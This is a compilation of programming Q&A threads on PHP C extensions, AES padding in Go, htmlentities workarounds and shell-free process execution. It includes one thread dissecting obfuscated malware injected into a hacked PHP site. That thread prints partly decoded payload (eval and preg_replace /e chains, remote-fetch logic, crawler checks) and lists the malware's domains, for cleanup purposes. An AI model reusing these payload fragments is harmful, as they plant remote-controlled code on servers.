PHP extension seg fault when modifying a zval by reference - php

PHP:
$publickey = pack('H*', "03ca473d3c0cccbf600d1c89fa33b7f6b1f2b4c66f1f11986701f4b6cc4f54c360");
$pubkeylen = strlen($publickey);
$result = secp256k1_ec_pubkey_decompress($publickey, $pubkeylen);
C extension:
PHP_FUNCTION(secp256k1_ec_pubkey_decompress) {
secp256k1_start(SECP256K1_START_SIGN);
zval *pubkey, *pubkeylen;
unsigned char* newpubkey;
int newpubkeylen;
int result;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "zz", &pubkey, &pubkeylen) == FAILURE) {
return;
}
newpubkey = Z_STRVAL_P(pubkey);
newpubkeylen = Z_LVAL_P(pubkeylen);
result = secp256k1_ec_pubkey_decompress(newpubkey, &newpubkeylen);
if (result == 1) {
newpubkey[newpubkeylen] = 0U;
ZVAL_STRINGL(pubkey, newpubkey, newpubkeylen, 0);
ZVAL_LONG(pubkeylen, newpubkeylen);
}
RETURN_LONG(result);
}
the $publickey is decompressed from a 32 byte to a 65 byte string, for w/e reason when we're doing this we get a Segmentation Fault.
I asume we're doing something structurally wrong ... considering this is our first PHP extension.
full code; https://github.com/afk11/secp256k1-php

After looking at your extension code, you haven't linked the actual secp256k1 lib (.so) while building your extension ( #include "secp256k1.h" does not include actual bitcoin/secp256k1 code c library ).
You need to change your config.m4 in any of the following ways
1) Add "-l/path/to/bitcoin/secp256k1/lib" to the "gcc" options.
Help: here, I am talking about once you "make install" on
bitcoin/secp256k1, some libraries will be installed to /usr/lib or
/usr/lib64 or /usr/lib/secp256k1 etc....
-lsecp256k1
// i.e. something like...
PHP_NEW_EXTENSION(secp256k1, secp256k1.c, $ext_shared,, "-lsecp256k1 -DZEND_ENABLE_STATIC_TSRMLS_CACHE=1")
2) Or, include actual *.c files in from actual secp256k1 library
PHP_NEW_EXTENSION(secp256k1, secp256k1.c ../secp256k1/src/secp256k1.c ../secp256k1/src/others.c, $ext_shared,, -DZEND_ENABLE_STATIC_TSRMLS_CACHE=1)
I would recommend option-1

Related

how to duplicate openssl_encrypt?

I was hoping someone had already implemented this in golang as I am far from even good at cryptography. However in porting a project from php to golang I have run into an issue with porting the openssl_encrypt method found here. I have also dug into the source code a little with no avail.
Here is the method I have implemented in golang. which gives me the output
lvb7JwaI4OCYUrdJMm8Q9uDd9rIILnvbZKJb/ozFbwCmLKkxoJN5Zf/ODOJ/RGq5
Here is the output I need when using php.
lvb7JwaI4OCYUrdJMm8Q9uDd9rIILnvbZKJb/ozFbwDV98XaJjvzEjBQp7jc+2DH
And here is the function I used to generate it with php.
$data = "This is some text I want to encrypt";
$method = "aes-256-cbc";
$password = "This is a really long key and su";
$options = 0;
$iv = "MMMMMMMMMMMMMMMM";
echo openssl_encrypt($data, $method, $password, $options, $iv);
To me it looks like it is very close and I must be missing something obvious.
You were very close, but you had the padding wrong. According to this answer (and the PHP docs), PHP uses the default OpenSSL padding behavior, which is to use the required number of padding bytes as the padding byte value.
The only change I made was:
copy(plaintextblock[length:], bytes.Repeat([]byte{uint8(extendBlock)}, extendBlock))
You can see the full updated code here.
Others beat me to the answer while I was playing with it, but I have a "better" fixed version of your example code that also takes into account that padding is always required (at least to emulate what the php code does).
It also shows the openssl command line that you'd use to do the same thing, and if available runs it (of course the playground won't).
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"log"
"os/exec"
"strings"
)
func main() {
const input = "This is some text I want to encrypt"
fmt.Println(opensslCommand(input))
fmt.Println(aesCBCenctypt(input))
}
func aesCBCenctypt(input string) string {
// Of course real IVs should be from crypto/rand
iv := []byte("MMMMMMMMMMMMMMMM")
// And real keys should be from something like PBKDF2, RFC 2898.
// E.g. use golang.org/x/crypto/pbkdf2 to turn a
// "passphrase" into a key.
key := []byte("This is a really long key and su")
// Make sure the block size is a multiple of aes.BlockSize
// Pad to aes.BlockSize using the pad length as the padding
// byte. If we would otherwise need no padding we instead
// pad an entire extra block.
pad := (aes.BlockSize - len(input)%aes.BlockSize)
if pad == 0 {
pad = aes.BlockSize
}
data := make([]byte, len(input)+pad)
copy(data, input)
for i := len(input); i < len(input)+pad; i++ {
data[i] = byte(pad)
}
cb, err := aes.NewCipher(key)
if err != nil {
log.Fatalln("error NewCipher():", err)
}
mode := cipher.NewCBCEncrypter(cb, iv)
mode.CryptBlocks(data, data)
return base64.StdEncoding.EncodeToString(data)
}
// Just for comparison, don't do this for real!
func opensslCommand(input string) string {
iv := []byte("MMMMMMMMMMMMMMMM")
key := []byte("This is a really long key and su")
args := []string{"enc", "-aes-256-cbc", "-base64"}
// "-nosalt", "-nopad"
args = append(args, "-iv", fmt.Sprintf("%X", iv))
args = append(args, "-K", fmt.Sprintf("%X", key))
cmd := exec.Command("openssl", args...)
// Show how you could do this via the command line:
fmt.Println("Command:", strings.Join(cmd.Args, " "))
cmd.Stdin = strings.NewReader(input)
result, err := cmd.CombinedOutput()
if err != nil {
if e, ok := err.(*exec.Error); ok && e.Err == exec.ErrNotFound {
// openssl not available
return err.Error() // XXX
}
// some other error, show it and the (error?) output and die
fmt.Println("cmd error:", err)
log.Fatalf("result %q", result)
}
// Strip trailing '\n' and return it.
if n := len(result) - 1; result[n] == '\n' {
result = result[:n]
}
return string(result)
}
Playground

Hacked site - encrypted code

Couple days ago I gave noticed that almost all php files on my server are infected with some encrypted code and in almost every file is different. Here is the example from one of the files:
http://pastebin.com/JtkNya5m
Can anybody tell me what this code do or how to decode it?
You can calculate the values of some of the variables, and begin to get your bearings.
$vmksmhmfuh = 'preg_replace'; //substr($qbrqftrrvx, (44195 - 34082), (45 - 33));
preg_replace('/(.*)/e', $viwdamxcpm, null); // Calls the function wgcdoznijh() $vmksmhmfuh($ywsictklpo, $viwdamxcpm, NULL);
So the initial purpose is to call the wgcdonznijh() function with the payloads in the script, this is done by way of an embedded function call in the pre_replace subject the /e in the expression.
/* aviewwjaxj */ eval(str_replace(chr((257-220)), chr((483-391)), wgcdoznijh($tbjmmtszkv,$qbrqftrrvx))); /* ptnsmypopp */
If you hex decode the result of that you will be just about here:
if ((function_exists("ob_start") && (!isset($GLOBALS["anuna"])))) {
$GLOBALS["anuna"] = 1;
function fjfgg($n)
{
return chr(ord($n) - 1);
}
#error_reporting(0);
preg_replace("/(.*)/e", "eval(implode(array_map("fjfgg",str_split("\x25u:f!>!(\x25\x78:!> ...
The above is truncated, but you have another payload as the subject of the new preg_replace function. Again due to e it has the potential to execute.
and it is using the callback on array_map to further decode the payload which passed to the eval.
The pay load for eval looks like this (hex decoded):
$t9e = '$w9 ="/(.*)/e";$v9 = #5656}5;Bv5;oc$v5Y5;-4_g#&oc$5;oc$v5Y5;-3_g#&oc$5;oc$v5Y5;-2_g#&oc$5;oc$v5Y5;-1_g#&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW#5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW#5{6))086,1pi$6,J(tcennocW#!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW#&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi#(pi2gnol#&2pi$5;)X$(emanybXteg#&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap#6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi#&%5;-elif#&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z#&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg# nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe#=1a$ ;)po$,)-$(dtg#(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45#9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *# = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W#Y#RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|#:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W#; $syv= "eval(str_replace(array"; $siv = "str_replace";$slv = "strrev";$s1v="create_function"; $svv = #//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46x.x?x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x$1\d6x\"=m$;"261'x1x.1x\"=r$;"351xa\07x\"=p$;"651.x%1x&1x\"=l$9{9)q$9,s$(2ne9noitcnuf;}#; $n9 = #1067|416|779|223|361#; $ll = "preg_replace"; $ee1 = array(#\14#,#, $#,#) { #,#[$i]#,#substr($#,#a = $xx("|","#,#,strpos($y,"9")#,# = str_replace($#,#x3#,#\x7#,#\15#,#;$i++) {#,#function #,#x6#,#); #,#for($i=0;$i
Which looks truncated ...
That is far as I have time for, but if you wanted to continue you may find the following url useful.
http://ddecode.com/
Good luck
I found the same code in a Wordpress instance and wrote a short script to remove it of all files:
$directory = new RecursiveDirectoryIterator(dirname(__FILE__));
$iterator = new RecursiveIteratorIterator($directory);
foreach ($iterator as $filename => $cur)
{
$contents = file_get_contents($filename);
if (strpos($contents, 'tngmufxact') !== false && strlen($contents) > 13200 && strpos($contents, '?>', 13200) == 13278) {
echo $filename.PHP_EOL;
file_put_contents($filename, substr($contents, 13280));
}
}
Just change the string 'tngmufxact' to your obfuscated version and everything will be removed automatically.
Maybe the length of the obfuscated string will differ - don't test this in your live environment!
Be sure to backup your files before executing this!
I've decoded this script and it is (except the obfuscation) exactly the same as this one: Magento Website Hacked - encryption code in all php files
The URL's inside are the same too:
33db9538.com
9507c4e8.com
e5b57288.com
54dfa1cb.com
If you are unsure/inexperienced don't try to execute or decode the code yourself, but get professional help.
Besides that: the decoding was done manually by picking the code pieces and partially executing them (inside a virtual machine - just in case something bad happens).
So basically I've repeated this over and over:
echo the hex strings to get the plain text (to find out which functions get used)
always replace eval with echo
always replace preg_replace("/(.*)/e", ...) with echo(preg_replace("/(.*)/", ...))
The e at the end of the regular expression means evaluate (like the php function eval), so don't forget to remove that too.
In the end you have a few function definitions and one of them gets invoked via ob_start.

Alternative for htmlentities($string,ENT_SUBSTITUTE)

I got a bit of a stupid question;
Currently I am making a website for a company on a server which actually has a bit an outdated PHP version (5.2.17). I have a database in which many fields are varchar with characters like 'é ä è ê' and so on, which I have to display in an HTML page.
So as the version of PHP is outdated (and I am not allowed to updated it because there are parts of the site that must keep working and to whom I have no acces to edit them) I can't use the htmlentities function with the ENT_SUBSTITUTE argument, because it was only added after version 5.4.
So my question is:
Does there exist an alternative to
htmlentities($string,ENT_SUBSTITUTE); or do I have to write a function
myself with all kinds of strange characters, which would be incomplete anyway.
Define a function for handling ill-formed byte sequences and call the function before passing the string to htmlentties. There are various way to define the function.
At first, try UConverter::transcode if you don't use Windows.
http://pecl.php.net/package/intl
If you are willing to handle bytes directly, see my previous answer.
https://stackoverflow.com/a/13695364/531320
The last option is to develop PHP extension. Thanks to php_next_utf8_char, it's not hard.
Here is code sample. The name "scrub" comes from Ruby 2.1 (see Equivalent of Iconv.conv("UTF-8//IGNORE",...) in Ruby 1.9.X?)
// header file
// PHP_FUNCTION(utf8_scrub);
#include "ext/standard/html.h"
#include "ext/standard/php_smart_str.h"
const zend_function_entry utf8_string_functions[] = {
PHP_FE(utf8_scrub, NULL)
PHP_FE_END
};
PHP_FUNCTION(utf8_scrub)
{
char *str = NULL;
int len, status;
size_t pos = 0, old_pos;
unsigned int code_point;
smart_str buf = {0};
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &str, &len) == FAILURE) {
return;
}
while (pos < len) {
old_pos = pos;
code_point = php_next_utf8_char((const unsigned char *) str, len, &pos, &status);
if (status == FAILURE) {
smart_str_appendl(&buf, "\xEF\xBF\xBD", 3);
} else {
smart_str_appendl(&buf, str + old_pos, pos - old_pos);
}
}
smart_str_0(&buf);
RETURN_STRINGL(buf.c, buf.len, 0);
smart_str_free(&buf);
}
You don't need ENT_SUBSTITUTE if your encoding is handled correctly.
If the characters in your database are utf-8, stored in utf-8, read in utf-8 and displayed to the user in utf-8 there should be no problem.
Just add
if (!defined('ENT_SUBSTITUTE')) define('ENT_SUBSTITUTE', 0);
and you'll be able to use ENT_SUBSTITUTE into htmlentities.

Run executable from php without spawning a shell

I need to call an executable from an imposed context of a PHP script. Both performance and security wise it's better not to call a shell at all between web server process and executable.
Of course I searched the web, without success (in such a PHP context). Many other languages allow that and document it clearly.
Alas, backticks, exec(), shell_exec(), passthru(), system(), proc_open(), popen() call a shell.
And pcntl_fork() seems unavailable.
How to test if a function calls a shell or not.
This was tested on a Debian 6 64bit with PHP 5.3.3-7+squeeze15 .
Test code on http://pastebin.com/y4C7MeJz
To get a meaningful test I used a trick which is to ask to execute a shell command not also available as an executable. A good example is umask . Any function returning something like 0022 definitely called a shell. exec(), shell_exec(), passthru(), system(), proc_open() all did.
See detailed results on http://pastebin.com/RBcBz02F .
pcntl_fork fails
Now, back the the goal : how to execute arbitrary program without launching a shell ?
Php's exec takes as expected an array of string args instead of a unique string. But pcntl_fork just stops the requests without even a log.
Edit: pcntl_fork failure is because the server uses Apache's mod_php, see http://www.php.net/manual/en/function.pcntl-fork.php#49949 .
Edit: added popen() to the tests, following #hakre suggestion.
Any hint appreciated.
To answer your sentence :
Both performance and security wise it's better not to call a shell at
all between web server process and executable.
About performances, well, yes, php internals forks, and the shell itself forks too so that's a bit heavy. But you really need to execute a lot of processes to consider those performances issues.
About security, I do not see any issue here. PHP has the escapeshellarg function to sanitize arguments.
The only real problem I met with exec without pcntl is not a resource nor security issue : it is really difficult to create real deamons (without any attachment to its parent, particularily Apache). I solved this by using at, after double-escaping my command:
$arg1 = escapeshellarg($arg1);
$arg2 = escapeshellarg($arg2);
$command = escapeshellarg("/some/bin $arg1 $arg2 > /dev/null 2>&1 &");
exec("$command | at now -M");
To get back to your question, the only way I know to execute programs in a standard (fork+exec) way is to use the PCNTL extension (as already mentionned). Anyway, good luck!
To complete my answer, you can create an exec function yourself that does the same thing as pcntl_fork+pcntl_exec.
I made a my_exec extension that does a classic exec+fork, but actually, I do not think it will solve your issues if you're running this function under apache, because the same behaviour as pcntl_fork will apply (apache2 will be forked and there may be unexpected behaviours with signal catching and so on when execv does not succeed).
config.m4 the phpize configuration file
PHP_ARG_ENABLE(my_exec_extension, whether to enable my extension,
[ --enable-my-extension Enable my extension])
if test "$PHP_MY_EXEC_EXTENSION" = "yes"; then
AC_DEFINE(HAVE_MY_EXEC_EXTENSION, 1, [Whether you have my extension])
PHP_NEW_EXTENSION(my_exec_extension, my_exec_extension.c, $ext_shared)
fi
my_exec_extension.c the extension
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include "php.h"
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define PHP_MY_EXEC_EXTENSION_VERSION "1.0"
#define PHP_MY_EXEC_EXTENSION_EXTNAME "my_exec_extension"
extern zend_module_entry my_exec_extension_module_entry;
#define phpext_my_exec_extension_ptr &my_exec_extension_module_entry
// declaration of a custom my_exec()
PHP_FUNCTION(my_exec);
// list of custom PHP functions provided by this extension
// set {NULL, NULL, NULL} as the last record to mark the end of list
static function_entry my_functions[] = {
PHP_FE(my_exec, NULL)
{NULL, NULL, NULL}
};
// the following code creates an entry for the module and registers it with Zend.
zend_module_entry my_exec_extension_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
PHP_MY_EXEC_EXTENSION_EXTNAME,
my_functions,
NULL, // name of the MINIT function or NULL if not applicable
NULL, // name of the MSHUTDOWN function or NULL if not applicable
NULL, // name of the RINIT function or NULL if not applicable
NULL, // name of the RSHUTDOWN function or NULL if not applicable
NULL, // name of the MINFO function or NULL if not applicable
#if ZEND_MODULE_API_NO >= 20010901
PHP_MY_EXEC_EXTENSION_VERSION,
#endif
STANDARD_MODULE_PROPERTIES
};
ZEND_GET_MODULE(my_exec_extension)
char *concat(char *old, char *buf, int buf_len)
{
int str_size = strlen(old) + buf_len;
char *str = malloc((str_size + 1) * sizeof(char));
snprintf(str, str_size, "%s%s", old, buf);
str[str_size] = '\0';
free(old);
return str;
}
char *exec_and_return(char *command, char **argv)
{
int link[2], readlen;
pid_t pid;
char buffer[4096];
char *output;
output = strdup("");
if (pipe(link) < 0)
{
return strdup("Could not pipe!");
}
if ((pid = fork()) < 0)
{
return strdup("Could not fork!");
}
if (pid == 0)
{
dup2(link[1], STDOUT_FILENO);
close(link[0]);
if (execv(command, argv) < 0)
{
printf("Command not found or access denied: %s\n", command);
exit(1);
}
}
else
{
close(link[1]);
while ((readlen = read(link[0], buffer, sizeof(buffer))) > 0)
{
output = concat(output, buffer, readlen);
}
wait(NULL);
}
return output;
}
PHP_FUNCTION(my_exec)
{
char *command;
int command_len, argc, i;
zval *arguments, **data;
HashTable *arr_hash;
HashPosition pointer;
char **argv;
// recovers a string (s) and an array (a) from arguments
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sa", &command, &command_len, &arguments) == FAILURE) {
RETURN_NULL();
}
arr_hash = Z_ARRVAL_P(arguments);
// creating argc and argv from our argument array
argc = zend_hash_num_elements(arr_hash);
argv = malloc((argc + 1) * sizeof(char *));
argv[argc] = NULL;
for (
i = 0, zend_hash_internal_pointer_reset_ex(arr_hash, &pointer);
zend_hash_get_current_data_ex(arr_hash, (void**) &data, &pointer) == SUCCESS;
zend_hash_move_forward_ex(arr_hash, &pointer)
)
{
if (Z_TYPE_PP(data) == IS_STRING) {
argv[i] = malloc((Z_STRLEN_PP(data) + 1) * sizeof(char));
argv[i][Z_STRLEN_PP(data)] = '\0';
strncpy(argv[i], Z_STRVAL_PP(data), Z_STRLEN_PP(data));
i++;
}
}
char *output = exec_and_return(command, argv);
// freeing allocated memory
for (i = 0; (i < argc); i++)
{
free(argv[i]);
}
free(argv);
// WARNING! I guess there is a memory leak here.
// Second arguemnt to 1 means to PHP: do not free memory
// But if I put 0, I get a segmentation fault
// So I think I do not malloc correctly for a PHP extension.
RETURN_STRING(output, 1);
}
test.php a usage sample
<?php
dl("my_exec.so");
$output = my_exec("/bin/ls", array("-l", "/"));
var_dump($output);
shell script run those commands, of course use your own module directory
phpize
./configure
make
sudo cp modules/my_exec_extension.so /opt/local/lib/php/extensions/no-debug-non-zts-20090626/my_exec.so
Result
KolyMac:my_fork ninsuo$ php test.php
string(329) ".DS_Store
.Spotlight-V100
.Trashes
.file
.fseventsd
.hidden
.hotfiles.btree
.vol
AppleScript
Applications
Developer
Installer Log File
Library
Microsoft Excel Documents
Microsoft Word Documents
Network
System
Users
Volumes
bin
cores
dev
etc
home
lost+found
mach_kernel
net
opt
private
sbin
tmp
usr
var
vc_command.txt
vidotask.txt"
I am not a C dev, so I think there are cleaner ways to achieve this. But you get the idea.
In PHP 7.4+, proc_open open processes directly if cmd is passed as array.
As of PHP 7.4.0, cmd may be passed as array of command parameters. In this case the process will be opened directly (without going through a shell) and PHP will take care of any necessary argument escaping.
So this example:
<?php
$file_descriptors = [
0=>['pipe','r'],
1=>['pipe','w'],
2=>['pipe','w']
];
$cmd_string = 'ps -o comm=';
$cmd_array = [
'ps',
'-o',
'comm='
];
// This is executed by shell:
$process = proc_open($cmd_string,$file_descriptors,$pipes);
$output = stream_get_contents($pipes[1]);
$return = proc_close($process);
printf("cmd_string:\n%s\n",$output);
// This is executed directly:
$process = proc_open($cmd_array,$file_descriptors,$pipes);
$output = stream_get_contents($pipes[1]);
$return = proc_close($process);
printf("cmd_array:\n%s\n",$output);
outputs:
cmd_string:
bash
php
sh
ps
cmd_array:
bash
php
ps
Id consider trying pcntl_exec()

PHP extension for Linux: reality check needed!

Okay, I've written my first functional PHP extension. It worked but it was a proof-of-concept only. Now I'm writing another one which actually does what the boss wants.
What I'd like to know, from all you PHP-heads out there, is whether this code makes sense. Have I got a good grasp of things like emalloc and the like, or is there stuff there that's going to turn around later and try to bite my hand off?
Below is the code for one of the functions. It returns a base64 of a string that has also been Blowfish encrypted. When the function is called, it is supplied with two strings, the text to encrypt and encode, and the key for the encryption phase. It's not using PHP's own base64 functions because, at this point, I don't know how to link to them. And it's not using PHP's own mcrypt functions for the same reason. Instead, it links in the SSLeay BF_ecb_encrypt functions.
PHP_FUNCTION(Blowfish_Base64_encode)
{
char *psData = NULL;
char *psKey = NULL;
int argc = ZEND_NUM_ARGS();
int psData_len;
int psKey_len;
char *Buffer = NULL;
char *pBuffer = NULL;
char *Encoded = NULL;
BF_KEY Context;
int i = 0;
unsigned char Block[ 8 ];
unsigned char * pBlock = Block;
char *plaintext;
int plaintext_len;
int cipher_len = 0;
if (zend_parse_parameters(argc TSRMLS_CC, "ss", &psData, &psData_len, &psKey, &psKey_len) == FAILURE)
return;
Buffer = (char *) emalloc( psData_len * 2 );
pBuffer = Buffer;
Encoded = (char *) emalloc( psData_len * 4 );
BF_set_key( &Context, psKey_len, psKey );
plaintext = psData;
plaintext_len = psData_len;
for (;;)
{
if (plaintext_len--)
{
Block[ i++ ] = *plaintext++;
if (i == 8 )
{
BF_ecb_encrypt( Block, pBuffer, &Context, BF_ENCRYPT );
pBuffer += 8;
cipher_len += 8;
memset( Block, 0, 8 );
i = 0;
}
} else {
BF_ecb_encrypt( Block, pBuffer, &Context, BF_ENCRYPT );
cipher_len += 8;
break;
}
}
b64_encode( Encoded, Buffer, cipher_len );
RETURN_STRINGL( Encoded, strlen( Encoded ), 0 );
}
You'll notice that I have two emalloc calls, for Encoded and for Buffer. Only Encoded is passed back to the caller, so I'm concerned that Buffer won't be freed. Is that the case? Should I use malloc/free for Buffer?
If there are any other glaring errors, I'd really appreciate knowing.
emalloc() allocates memory per request, and it's free()'d automatically when the runtime ends.
You should, however, compile PHP with
--enable-debug --enable-maintainer-zts
It will tell you if anything goes wrong (it can detect memory leaks if you've used the e*() functions and report_memleaks is set in your php.ini).
And yes, you should efree() Buffer.
You'll notice that I have two emalloc calls, for Encoded and for Buffer. Only Encoded is passed back to the caller, so I'm concerned that Buffer won't be freed. Is that the case? Should I use malloc/free for Buffer?
Yes, you should free it with efree before returning.
Although PHP has safety net and memory allocated with emalloc will be freed at the end of the request, it's still a bug to leak memory and, depending you will warned if running a debug build with report_memleaks = On.

Categories